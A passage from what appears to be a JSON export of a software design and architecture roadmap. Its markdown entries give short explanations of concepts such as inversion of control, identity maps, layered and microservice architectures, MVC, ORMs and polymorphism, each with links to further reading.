    "content": "# Hollywood Principle\n\nThe Hollywood Principle is a software development principle that states: \"Don't call us, we'll call you.\" It suggests that high-level components should dictate the flow of control in an application, rather than low-level components.\n\nThis principle is often used in the context of inversion of control (IoC) and dependency injection. In traditional software development, low-level components are responsible for creating and managing the high-level components that they depend on. With IoC, the high-level components dictate the flow of control, and the low-level components are created and managed by a separate mechanism.\n\nVisit the following resources to learn more:\n\n- [@video@Tutorial - Hollywood Principle](https://www.youtube.com/watch?v=lRuygpsXE5s)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/identity-maps@tb0X1HtuiGwz7YhQ5xPsV.md",
    "content": "# Identity Maps\n\nIdentity Maps is a pattern used in enterprise application development to maintain a map of objects that have been loaded from the database, keyed by their unique identifier. It is used to ensure that multiple copies of the same object are not created in memory when the same data is accessed multiple times.\n\nThe identity map pattern is typically used in conjunction with an ORM (Object-Relational Mapping) tool. When an object is loaded from the database, it is first checked against the identity map to see if it has already been loaded. If it has, the existing object is returned, instead of creating a new copy.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Identity map pattern](https://en.wikipedia.org/wiki/Identity_map_pattern)\n- [@video@Tutorial - Identity Map Design Pattern](https://youtube.com/watch?v=erDxkIyNudY)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/indentation-and-code-style@81WOL1nxb56ZbAOvxJ7NK.md",
    "content": "# Indentation and Code Style\n\nIndentation and code style refer to the consistent formatting of source code to improve readability and maintainability. This involves using whitespace, line breaks, and naming conventions in a standardized manner across a project. The goal is to create code that is visually appealing and easy for developers to understand, regardless of who wrote it. Consistent indentation highlights the code's structure, making it easier to follow control flow and identify logical blocks. Adhering to a specific code style, which dictates rules for naming, commenting, and other formatting aspects, further enhances the clarity and consistency of the codebase.\n\nVisit the following resources to learn more:\n\n- [@article@Clean Code – Formatting](https://www.baeldung.com/cs/clean-code-formatting)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/inheritance@Dj36yLBShoazj7SAw6a_A.md",
    "content": "# Inheritance\n\nInheritance is a fundamental concept in object-oriented programming (OOP) that allows a new class to inherit the properties and methods of an existing class. The class that is inherited from is called the parent or super class, while the class that inherits is called the child or sub class. Inheritance enables code reuse and allows for a hierarchical organization of classes, where a child class can inherit the properties and methods of its parent class and potentially add or override them. The main advantage of inheritance is that it allows for a clean and organized way to reuse code and share functionality among classes.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Inheritance (object-oriented programming)](https://en.wikipedia.org/wiki/Inheritance_(object-oriented_programming))\n- [@video@What is inheritance in programming?](https://www.youtube.com/watch?v=ajOYOxCanhE)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/interfaces@SrcPhS4F7aT80qNjbv54f.md",
    "content": "# Interfaces\n\nIn object-oriented programming (OOP), an interface is a contract or a set of methods that a class must implement. It defines a common set of methods that a class must provide, but it does not provide any implementation details. An interface can include both method signatures and constants.\n\nInterfaces are used to define a common behavior for a group of related classes, and to provide a way for objects of different classes to be treated polymorphically. A class that implements an interface must provide an implementation for all of the methods declared in the interface. A class can implement multiple interfaces, but can only inherit from one base class.\n\nVisit the following resources to learn more:\n\n- [@video@Fundamental concepts: What's an Interface?](https://www.youtube.com/watch?v=o1jBgdhQsGo)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/keep-framework-code-distant@OoCCy-3W5y7bUcKz_iyBw.md",
    "content": "# Keep Framework Code Distant\n\nKeeping framework code distant refers to separating the application's code from the framework's code. By doing so, it makes it easier to maintain, test, and upgrade the application's codebase and the framework independently.\n\nHere are some ways to keep framework code distant in system architecture:\n\n1.  Use an abstraction layer to separate the application code from the framework code. This allows the application code to be written without the need to know the specifics of the framework.\n2.  Use dependency injection to decouple the application code from the framework code. This allows the application code to use the framework's functionality without having to instantiate the framework objects directly.\n3.  Avoid using framework-specific libraries or classes in the application code. This makes it easier to switch to a different framework in the future if needed.\n4.  Use a standard interface for the application code to interact with the framework. This allows the application code to be written without the need to know the specifics of the framework.\n5.  Keep the application and the framework code in separate projects and/or repositories.\n\nBy following these best practices, the system architecture will be more maintainable, testable, and less error-prone, and it will be easier to upgrade or switch the framework if needed.\n\nVisit the following resources to learn more:\n\n- [@article@Clean architecture](https://pusher.com/tutorials/clean-architecture-introduction/)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/keep-it-simple-and-refactor-often@9naCfoHF1LW1OEsVZGi8v.md",
    "content": "# Avoid Hasty Abstractions\n\nCreating abstractions is an important part of software development, but creating too many abstractions or creating them too early can lead to unnecessary complexity and make the code harder to understand and maintain.\n\nHere are some ways to avoid hasty abstractions in system architecture:\n\n*   Understand the problem that needs to be solved before creating an abstraction.\n*   Start with a simple solution and only create an abstraction when it becomes clear that the solution is becoming too complex.\n*   Use code refactoring techniques to simplify the code before creating an abstraction.\n*   Avoid creating abstractions for the sake of creating abstractions.\n*   Use established design patterns and practices when creating abstractions, but do not force them into the code.\n*   Use automated testing to ensure that the abstraction does not introduce new bugs or break existing functionality.\n*   Create abstraction in a way that it's easy to test, debug, and reason about.\n\nVisit the following resources to learn more:\n\n- [@article@AHA Programming](https://kentcdodds.com/blog/aha-programming)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/keep-it-small@XEwC6Fyf2DNNHQsoGTrQj.md",
    "content": "# Keep it Small\n\nYou should design and implement small, focused components that serve a specific purpose, rather than large, monolithic components that try to do everything. This can help to improve the maintainability and scalability of the system by making it easier to understand, test, and modify individual components.\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/keep-methods--classes--files-small@XEwC6Fyf2DNNHQsoGTrQj.md",
    "content": "# Keep it Small\n\nYou should design and implement small, focused components that serve a specific purpose, rather than large, monolithic components that try to do everything. This can help to improve the maintainability and scalability of the system by making it easier to understand, test, and modify individual components."
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/keep-tests-independent@mzt7fvx6ab3tmG1R1NcLO.md",
    "content": "# Keep Tests Independent\n\nKeeping tests independent helps ensures that the tests are reliable, repeatable, and easy to maintain. When tests are independent, a change in one test will not affect the results of other tests.\n\nHere are some ways to keep tests independent in system architecture:\n\n- Use dependency injection to decouple the test code from the application code. This allows the tests to be run without the need to instantiate the application objects directly.\n- Use mocks or stubs to isolate the test from external dependencies such as databases, APIs, or other services.\n- Use test data that is self-contained and does not rely on external data or state.\n- Use a test framework that supports running tests in parallel, so that the tests can be run independently of each other.\n- Use test-driven development (TDD), which involves writing tests before writing the application code. This ensures that the tests are independent and that the code is written with testability in mind.\n- Avoid global state and shared mutable state as it may cause unexpected results.\n\nLearn more from the following links:\n\n- [@article@Keeping Tests Valuable](https://www.checklyhq.com/learn/headless/valuable-tests/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/law-of-demeter@vnLhItObDgp_XaDmplBsJ.md",
    "content": "# Law of Demeter\n\nAlso called “Principle of Least Knowledge”, it states:\n\nIn Practice\n-----------\n\n*   Avoid chaining calls deep into the internals of other objects.\n*   Restrict communication to objects you directly manage.\n\n### 🔹 ❌ Bad Example (Violation)\n\n    // Controller\n    total = order.customer.address.getRegionTaxRate() * order.amount\n    \n\n### 🔹 ✅ Good Example\n\n    // Controller\n    total = order.calculateTotal()\n    \n\n🔹 Why It Matters\n-----------------\n\n*   **Reduces coupling** → fewer dependencies between classes.\n*   **Increases maintainability** → changes in one class don’t affect distant classes.\n*   **Improves readability** → clear boundaries of responsibility.\n\n🔹 Resources\n------------\n\nVisit the following resources to learn more:\n\n- [@article@@Article: Law of Demeter Explained](https://en.wikipedia.org/wiki/Law_of_Demeter)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/layered-architectures@HN160YgryBBtVGjnWxNie.md",
    "content": "# Layered Architectures\n\nA layered architecture is a software design pattern in which the functionality of a system is divided into a set of layers, with each layer having a specific responsibility and interacting with the layers above and below it. The main idea behind a layered architecture is to separate the concerns of the system into distinct and independent layers, making the code more modular, easier to understand, test, and modify.\n\nThere are several types of layered architectures, but a common one is the three-layer architecture which consists of:\n\n*   Presentation Layer\n*   Business Layer\n*   Data Access Layer\n\nVisit the following resources to learn more:\n\n- [@article@Software Architecture Patterns — Layered Architecture](https://priyalwalpita.medium.com/software-architecture-patterns-layered-architecture-a3b89b71a057)\n- [@article@5 Primary Layers in Software Architecture?](https://www.indeed.com/career-advice/career-development/what-are-the-layers-in-software-architecture)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/layered@IELEJcKYdZ6VN-UIq-Wln.md",
    "content": "# Layered\n\nIn software architecture, layered architecture is a design approach in which a software system is divided into a set of layers, each of which has a specific responsibility and communicates with the other layers through well-defined interfaces. This approach allows for a more modular and flexible design, where each layer can be developed, tested, and deployed independently, making it easier to add new features, modify existing ones, and maintain the system.\n\nA layered architecture is often used for large and complex systems, where the need for scalability and flexibility is high. Each layer in a layered architecture is responsible for a specific functionality and can be thought of as a \"black box\" with a well-defined interface. The layers communicate with each other through these interfaces, allowing for a clear separation of concerns.\n\nVisit the following resources to learn more:\n\n- [@article@Get started with Layered Architecture](https://cs.uwaterloo.ca/~m2nagapp/courses/CS446/1195/Arch_Design_Activity/Layered.pdf)\n- [@video@Layered Architectures](https://www.youtube.com/watch?v=0kpTKLTx8f4)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/mappers@ndUTgl2YBzOdu1MQKJocu.md",
    "content": "# Mappers\n\nMappers are a pattern used in enterprise application development to provide a consistent and abstracted way to map between different data models. They act as an abstraction layer between the application and the data storage, providing a consistent and simple API for data transformation.\n\nA mapper is a component that can be used to convert data from one format or model to another. For example, a mapper can be used to convert data from a database model to a domain model, or from a domain model to a data transfer object (DTO).\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Data Mapper Pattern](https://en.wikipedia.org/wiki/Data_mapper_pattern)\n- [@video@Tutorial - Mappers](https://www.youtube.com/watch?v=7noMLStHcTE)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/meaningful-names-over-comments@6Cd1BbGsmPJs_5jKhumyV.md",
    "content": "# Meaningful Names\n\nYou should follow the practice of giving clear and descriptive names to different components of a system, such as variables, functions, and classes. This can help to make the system more understandable and maintainable by clearly communicating the purpose of each component and its intended usage.\n\nVisit the following resources to learn more:\n\n- [@article@A Guide for Naming Things in Programming](https://levelup.gitconnected.com/a-guide-for-naming-things-in-programming-2dc2d74879f8)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/meaningful-names@6Cd1BbGsmPJs_5jKhumyV.md",
    "content": "# Meaningful Names\n\nYou should follow the practice of giving clear and descriptive names to different components of a system, such as variables, functions, and classes. This can help to make the system more understandable and maintainable by clearly communicating the purpose of each component and its intended usage.\n\nLearn more from the following links:\n\n- [@article@A Guide for Naming Things in Programming](https://levelup.gitconnected.com/a-guide-for-naming-things-in-programming-2dc2d74879f8)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/message-queues--streams@GAs6NHBkUgxan3hyPvVs7.md",
    "content": "# Message Queues Streams\n\nMessage queues and streams are architectural patterns that are used to decouple different components of a system and enable asynchronous communication between them.\n\nMessage Queues: A message queue is a software component that allows multiple systems or applications to communicate with each other by passing messages between them. Messages are stored in a queue, and each message is processed by a single consumer. This pattern is useful for systems where there is a high degree of variability in the rate of message production and consumption, and where the sender and receiver do not need to be active at the same time. Examples of message queue systems are Apache Kafka, RabbitMQ, and Amazon SQS.\n\nVisit the following resources to learn more:\n\n- [@article@System Design — Message Queues](https://medium.com/must-know-computer-science/system-design-message-queues-245612428a22)\n- [@article@Overview of Message Queue pattern](https://badia-kharroubi.gitbooks.io/microservices-architecture/content/patterns/communication-patterns/message-queue-pattern.html)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/message-queues-streams@GAs6NHBkUgxan3hyPvVs7.md",
    "content": "# Message Queues Streams\n\nMessage queues and streams are architectural patterns that are used to decouple different components of a system and enable asynchronous communication between them.\n\nMessage Queues: A message queue is a software component that allows multiple systems or applications to communicate with each other by passing messages between them. Messages are stored in a queue, and each message is processed by a single consumer. This pattern is useful for systems where there is a high degree of variability in the rate of message production and consumption, and where the sender and receiver do not need to be active at the same time. Examples of message queue systems are Apache Kafka, RabbitMQ, and Amazon SQS.\n\nLearn more from the following links:\n\n- [@article@System Design — Message Queues](https://medium.com/must-know-computer-science/system-design-message-queues-245612428a22)\n- [@article@Overview of Message Queue pattern](https://badia-kharroubi.gitbooks.io/microservices-architecture/content/patterns/communication-patterns/message-queue-pattern.html)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/messaging@j9j45Auf60kIskyEMUGE3.md",
    "content": "# Messaging\n\nMessaging is a key concept in several architectural styles, including event-driven architecture (EDA), microservices, and message-driven architecture (MDA).\n\n*   Event-driven architecture (EDA)\n*   Microservices\n*   Message-driven architecture (MDA)\n\nIn general, messaging is a powerful concept that allows for the decoupling and scalability of systems and it's used in different architectural styles to improve the flexibility and scalability of the system by allowing for loose coupling between components and making it easier to add new features or modify existing ones.\n\nVisit the following resources to learn more:\n\n- [@article@Architectural Styles in Software Engineering](https://shapingsoftware.com/2009/02/09/architectural-styles/)\n- [@article@Architectural Messaging Patterns](https://www.redhat.com/architect/architectural-messaging-patterns)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/microkernel@r-Yeca-gpdFM8iq7f0lYQ.md",
    "content": "# Microkernel\n\nA microkernel is an architectural pattern in operating system design that aims to minimize the amount of code running in kernel mode (i.e., privileged mode with direct access to hardware resources) and instead move as much functionality as possible into user mode. This is done by providing a small, minimalistic core kernel that only handles basic tasks such as memory management, process scheduling, and inter-process communication (IPC), and leaving all other functionality to be implemented in user-mode processes.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Microkernel Architecture](https://www.oreilly.com/library/view/software-architecture-patterns/9781491971437/ch03.html)\n- [@video@Microkernel Architectural Pattern | Software Architecture](https://www.youtube.com/watch?v=h3icQDMRLd8)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/microservices@eJsCCURZAURCKnOK-XeQe.md",
    "content": "# Microservices\n\nMicroservices is an architectural pattern that is used to design software systems as a collection of small, independent, and loosely-coupled services. Each service is responsible for a specific functionality and can be developed, deployed, and scaled independently. The main advantage of a microservices architecture is that it allows for a more flexible and scalable system, it also improves fault isolation and enables faster deployment. It's often used in combination with other architectural patterns and styles such as event-driven architecture, CQRS, and service-oriented architecture.\n\nVisit the following resources to learn more:\n\n- [@official@Brief of Microservices](https://microservices.io/patterns/microservices.html)\n- [@video@Tutorial - Microservices Architectural Pattern](https://www.youtube.com/watch?v=8BPDv038oMI)\n- [@video@Get started with Microservices Design Patterns](https://www.youtube.com/watch?v=xuH81XGWeGQ)\n- [@feed@Explore top posts about Microservices](https://app.daily.dev/tags/microservices?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/minimize-cyclomatic-complexity@qZzl0hAD2LkShsPql1IlZ.md",
    "content": "# Minimize Cyclomatic Complexity\n\nCyclomatic complexity measures the number of linearly independent paths through a program's source code.  It's calculated based on the number of decision points (like `if`, `for`, `while`, `case`) within a function or code block. High cyclomatic complexity indicates code that is harder to understand, test, and maintain due to its increased number of possible execution paths. Reducing this complexity aims to simplify the control flow and logic within code, leading to more readable and reliable software.\n\nVisit the following resources to learn more:\n\n- [@article@How to reduce cyclomatic complexity?](https://kasp9023.medium.com/how-to-make-your-code-more-readable-focus-on-the-happy-path-and-reduce-cyclomatic-complexity-66802b8897b5)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/model-driven-design@0VO_-1g-TS29y0Ji2yCjc.md",
    "content": "# Model Driven Design\n\nModel-driven design (MDD) is a software development methodology in which the design of a system is represented by a set of models, and the models are used to drive the development of the system. MDD is based on the idea that the design of a system can be represented by a set of models, and that these models can be used to generate the code for the system.\n\nThe main advantage of using MDD is that it allows for a clear separation of concerns between the design and implementation of a system. The models represent the design of the system, and the code is generated from the models, which makes it easier to maintain and evolve the system. Additionally, MDD can also improve the quality of the code, as the models can be used to check for design errors and inconsistencies before the code is generated.\n\nVisit the following resources to learn more:\n\n- [@article@Model Driven Design – theory to practice](https://www.todaysoftmag.com/article/1529/model-driven-design-theory-to-practice)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/model-view-controller@-arChRC9zG2DBmuSTHW0J.md",
    "content": "# Model View Controller\n\nModel-View-Controller (MVC) is an architectural pattern that separates the concerns of a software system into three distinct components: the model, the view, and the controller, where the model represents the data and the business logic of the system, the view represents the user interface of the system and the controller acts as an intermediary between the model and the view. The main goal of MVC is to separate the concerns of the system, making it easier to understand, maintain and evolve, it's widely used in web development.\n\nVisit the following resources to learn more:\n\n- [@article@MVC Framework - Introduction](https://www.tutorialspoint.com/mvc_framework/mvc_framework_introduction.htm)\n- [@video@Tutorial - MVC Architectural Pattern](https://www.youtube.com/watch?v=e9S90R-Y24Q)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/monolithic@xYPR_X1KhBwdpqYzNJiuT.md",
    "content": "# Monolithic\n\nIn software architecture, monolithic architecture is a design approach in which a software system is built as a single, integrated, and self-contained unit. In a monolithic architecture, all the components of the system are tightly coupled and depend on each other. This means that changes in one part of the system may affect other parts of the system.\n\nA monolithic architecture is often used for small to medium-sized systems, where the complexity of the system is manageable and the need for scalability and flexibility is not as high. In a monolithic architecture, the entire system is typically built, deployed, and executed as a single unit, which can make it easier to understand and manage the system.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Monolithic Architecture](https://www.atlassian.com/microservices/microservices-architecture/microservices-vs-monolith)\n- [@article@What is Monolithic architecture?](https://www.techtarget.com/whatis/definition/monolithic-architecture)\n- [@video@What is Software Architecture? (Monolithic vs. Layered vs. Microservice)s](https://www.youtube.com/watch?v=_07NtoK-Kns)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/object-oriented-programming@HhYdURE4X-a9GVwJhAyE0.md",
    "content": "# Object Oriented Programming\n\nObject-oriented programming (OOP) is a programming paradigm that is based on the concept of \"objects,\" which are instances of a class. In OOP, a class is a blueprint for creating objects, which have both data (attributes) and behavior (methods). The main idea behind OOP is to model real-world objects and their interactions, making it well-suited for creating complex and large-scale software systems.\n\nVisit the following resources to learn more:\n\n- [@article@Discover Object Oriented Programming](https://opendsa.cs.vt.edu/ODSA/Books/Everything/html/IntroOO.html)\n- [@video@Software Development Tutorial - What is object-oriented language?s](https://www.youtube.com/watch?app=desktop&v=SS-9y0H3Si8)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/object-oriented-programming@VZrERRRYhmqDx4slnZtdc.md",
    "content": "# Object Oriented Programming\n\nObject-oriented programming (OOP) is a programming paradigm that uses objects and classes to structure and organize code. In OOP, an object is an instance of a class, which is a template that defines the properties and behaviors of the object. OOP is based on the principles of encapsulation, inheritance, and polymorphism.\n\nVisit the following resources to learn more:\n\n- [@article@What is Object Oriented Programming?](https://www.freecodecamp.org/news/what-is-object-oriented-programming/)\n- [@article@OOP introduction](https://www.geeksforgeeks.org/introduction-of-object-oriented-programming/)\n- [@feed@Explore top posts about OOP](https://app.daily.dev/tags/oop?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/object-oriented-programming@qZQDOe2MHBh8wNcmvkLQm.md",
    "content": "# Object Oriented Programming\n\nObject-oriented programming (OOP) is a programming paradigm that is based on the concept of \"objects,\" which are instances of a class. In OOP, a class is a blueprint for creating objects, which have both data (attributes) and behavior (methods). The main idea behind OOP is to model real-world objects and their interactions, making it well-suited for creating complex and large-scale software systems.\n\nVisit the following resources to learn more:\n\n- [@article@Discover Object Oriented Programming](https://opendsa.cs.vt.edu/ODSA/Books/Everything/html/IntroOO.html)\n- [@video@Software Development Tutorial - What is object-oriented language?s](https://www.youtube.com/watch?app=desktop&v=SS-9y0H3Si8)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/organize-code-by-actor-it-belongs-to@kp86Vc3uue3IxTN9B9p59.md",
    "content": "# Organize Code by Actor It Belongs To\n\nOrganizing code by the actor it belongs to means structuring your codebase around the primary users, roles, or systems that interact with it. Instead of grouping code purely by technical layers (controllers, services, repositories), you group it by _who_ or _what_ uses the functionality. This improves cohesion, discoverability, and long-term maintainability.\n\nSome key ideas behind this approach include:\n\n*   Actor-focused structure: Group related functionality by user roles, domains, or external systems (e.g., `admin`, `customer`, `payment-gateway`).\n*   High cohesion: Keep logic that changes for the same reason in the same place.\n*   Reduced coupling: Minimize dependencies between unrelated actors or domains.\n*   Clear ownership: Each module clearly represents a responsibility or business capability.\n*   Easier navigation: Developers can quickly find relevant code based on the actor they are working on.\n*   Scalability: The codebase grows more naturally as new actors or features are added.\n*   Improved testing: Actor-based modules are easier to test in isolation.\n*   Alignment with business logic: The structure mirrors real-world use cases and workflows.\n*   Better collaboration: Teams can own specific actors or domains.\n*   Cleaner boundaries: Encourages well-defined APIs between parts of the system.\n\nVisit the following resources to learn more:\n\n- [@article@Package by Feature vs Package by Layer](https://www.baeldung.com/java-packaging-structures)\n- [@article@Screaming Architecture](https://blog.cleancoder.com/uncle-bob/2011/09/30/Screaming-Architecture.html)\n- [@feed@Explore top posts about Software Architecture](https://app.daily.dev/tags/software-architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/orms@SYYulHfDceIyDkDT5fcqj.md",
    "content": "# ORMs\n\nORM stands for Object-Relational Mapping, it is a technique used in enterprise application development to map between the object-oriented programming model and the relational database model. It allows developers to work with objects in their code, while the ORM tool takes care of translating those objects into the appropriate database operations.\n\nORMs are designed to abstract away the complexity of working with a relational database and allow developers to interact with the database using a higher-level, object-oriented API. They provide a set of libraries and tools that map the objects in the code to the tables and rows in the database, and vice versa. This allows developers to work with the data using a familiar object-oriented paradigm, rather than having to write complex SQL queries.\n\nVisit the following resources to learn more:\n\n- [@article@Why do you need an ORM?](https://enterprisecraftsmanship.com/posts/do-you-need-an-orm/)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/peer-to-peer@Cf9Z2wxBcbnNg_q9PA6xA.md",
    "content": "# Peer to Peer\n\nPeer-to-peer (P2P) architecture is a distributed computing architecture in which each node (peer) in the network acts as both a client and a server. In P2P architecture, there is no central authority or server that manages the network, and each node communicates directly with other nodes to exchange information, share resources, and perform computations.\n\nThe main advantage of using P2P architecture is that it allows for a more decentralized and fault-tolerant system. As there is no central authority, there is no single point of failure, and the network can continue to function even if some nodes fail. Additionally, P2P architecture can also improve scalability as the number of nodes in the network increases.\n\nVisit the following resources to learn more:\n\n- [@article@Peer to Peer Architecture](https://student.cs.uwaterloo.ca/~cs446/1171/Arch_Design_Activity/Peer2Peer.pdf)\n- [@feed@Explore top posts about Peer-to-Peer](https://app.daily.dev/tags/peer-to-peer?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/policy-vs-detail@b_PvjjL2ZpEKETa5_bd0v.md",
    "content": "# Policy vs Detail\n\nIn software architecture, the distinction between **policy** and **detail** refers to the separation of high-level decisions and low-level implementation details.\n\nPolicy refers to the high-level decisions that define the overall behavior and structure of the system. These decisions include things like the overall architecture, the system's interface, and the major components and their interactions. Policy decisions are often made by architects and designers, and they set the overall direction for the system.\n\nDetail refers to the low-level implementation details that are required to implement the policy decisions. These include things like the specific algorithms, data structures, and code that make up the system's components. Details are often implemented by developers and are responsible for the actual functioning of the system."
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/polymorphism@4DVW4teisMz8-58XttMGt.md",
    "content": "# Polymorphism\n\nPolymorphism is a concept in object-oriented programming (OOP) that allows objects of different classes to be treated as objects of a common parent class. This is achieved by defining a common interface for all classes that need to be treated polymorphically. The word polymorphism is derived from Greek, \"poly\" means many and \"morph\" means form.\n\nThere are two types of polymorphism:\n\n*   Compile-time polymorphism (also called static polymorphism or early binding) occurs when the type of the object that is going to be acted upon is determined at compile-time. This is achieved through method overloading, which allows multiple methods to have the same name but different parameters within the same class.\n*   Run-time polymorphism (also called dynamic polymorphism or late binding) occurs when the type of the object is determined at run-time. This is achieved through method overriding, which allows a child class to provide a specific implementation of a method that is already defined in its parent class.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Polymorphism in programming](https://www.bmc.com/blogs/polymorphism-programming/)\n- [@video@What is polymorphism in programming?](https://www.youtube.com/watch?v=tIWm3I_Zu7I)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/posa-patterns@6VoDGFOPHj5p_gvaZ8kTt.md",
    "content": "# POSA Patterns\n\nPOSA (Pattern-Oriented Software Architecture) is a set of design patterns for developing software systems that can scale and adapt to changing requirements. These patterns were first described in the book \"Patterns of Scalable, Reliable Services\" by Kevin Hoffman.\n\nPOSA patterns are divided into four categories:\n\n*   Partitioning Patterns\n*   Placement Patterns\n*   Routing Patterns\n*   Federation Patterns\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Pattern-Oriented Software Architecture](https://en.wikipedia.org/wiki/Pattern-Oriented_Software_Architecture)\n- [@video@POSA Pattern Examples](https://www.youtube.com/watch?v=iYNa_KcWxCU)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/program-against-abstractions@UZeY36dABmULhsHPhlzn_.md",
    "content": "# Program Against Abstractions\n\nProgramming against abstractions is a programming principle that suggests that code should be written in such a way that it is not tied to specific implementations, but rather to abstractions. This is accomplished by defining interfaces or abstract classes that define the behavior of a group of related classes without specifying their implementation.\n\nProgramming against abstractions allows for more flexibility in the code. When changes are needed, they can be made to the implementation of the abstractions without affecting the code that uses them. This makes it easier to understand, test, and maintain the code.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Abstraction principle](https://en.wikipedia.org/wiki/Abstraction_principle_(computer_programming))"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/programming-paradigms@RgYq3YOJhPGSf5in1Rcdp.md",
    "content": "# Programming Paradigms\n\nA programming paradigm is a fundamental style or approach to solving problems using a programming language. Different programming paradigms provide different ways of organizing and structuring code, and have different strengths and weaknesses. Some of the most common programming paradigms include:\n\n*   Imperative programming\n*   Functional programming\n*   Object-oriented programming\n*   Logic programming\n*   Declarative programming\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Programming paradigm](https://en.wikipedia.org/wiki/Programming_paradigm)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/programming-paradigms@TDhTYdEyBuOnDKcQJzTAk.md",
    "content": "# Programming Paradigms\n\nA programming paradigm is a fundamental style or approach to solving problems using a programming language. Different programming paradigms provide different ways of organizing and structuring code, and have different strengths and weaknesses. Some of the most common programming paradigms include:\n\n*   Imperative programming\n*   Functional programming\n*   Object-oriented programming\n*   Logic programming\n*   Declarative programming\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Programming paradigm](https://en.wikipedia.org/wiki/Programming_paradigm)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/publish-subscribe@SX4vOVJY9slOXGwX_q1au.md",
    "content": "# Publish Subscribe\n\nThe publish-subscribe pattern is a messaging pattern in which a publisher sends a message to a topic, and any number of subscribers can subscribe to that topic to receive the message. The publish-subscribe pattern is also known as the \"observer pattern\" and is a way of implementing communication between different parts of an application in a decoupled way.\n\nThe main advantage of using the publish-subscribe pattern is that it allows for a clear separation of concerns between the publisher and the subscribers, and it can improve the flexibility and scalability of the system. Additionally, it allows for loose coupling between components, meaning that the publisher and subscribers are not aware of each other's existence, and can be developed, deployed, and scaled independently.\n\nVisit the following resources to learn more:\n\n- [@article@Tutorial - Publish–subscribe pattern](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern)\n- [@video@Publish-Subscribe Architecture (Explained by Example)](https://www.youtube.com/watch?v=O1PgqUqZKTA)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/pure-functions@5S5A5wCJUCNPLlHJ5fRjU.md",
    "content": "# Pure Functions\n\nPure functions are a type of function in programming where the output is solely determined by its input values, without any side effects. This means that for the same input, a pure function will always return the same output, and it does not modify any state outside of its own scope. They are deterministic, predictable, and make code easier to test and reason about.\n\nVisit the following resources to learn more:\n\n- [@video@What are Pure Functions? | Javascript Functions Tutorial](https://www.youtube.com/watch?v=ZXxahQS1PN8)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/repositories@8y0ot5sbplUIUyXe9gvc8.md",
    "content": "# Repositories\n\nRepositories are a pattern used in enterprise application development to provide a consistent and abstracted way to access data storage. Repositories act as an abstraction layer between the application and the data storage, providing a consistent and simple API for data access and manipulation.\n\nA repository is a pattern that can be used to organize the data access code and encapsulate the logic of retrieving and storing objects. Repositories provide a way to separate the concerns of the data access from the rest of the application, allowing the application code to be written against an interface and not a specific data storage technology.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Repository Design Patterns](https://cubettech.com/resources/blog/introduction-to-repository-design-pattern/)\n- [@video@Tutorial - Repository Design Pattern](https://www.youtube.com/watch?v=mb6bwnEaZ3U)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/scope--visibility@b-YIbw-r-nESVt_PUFQeq.md",
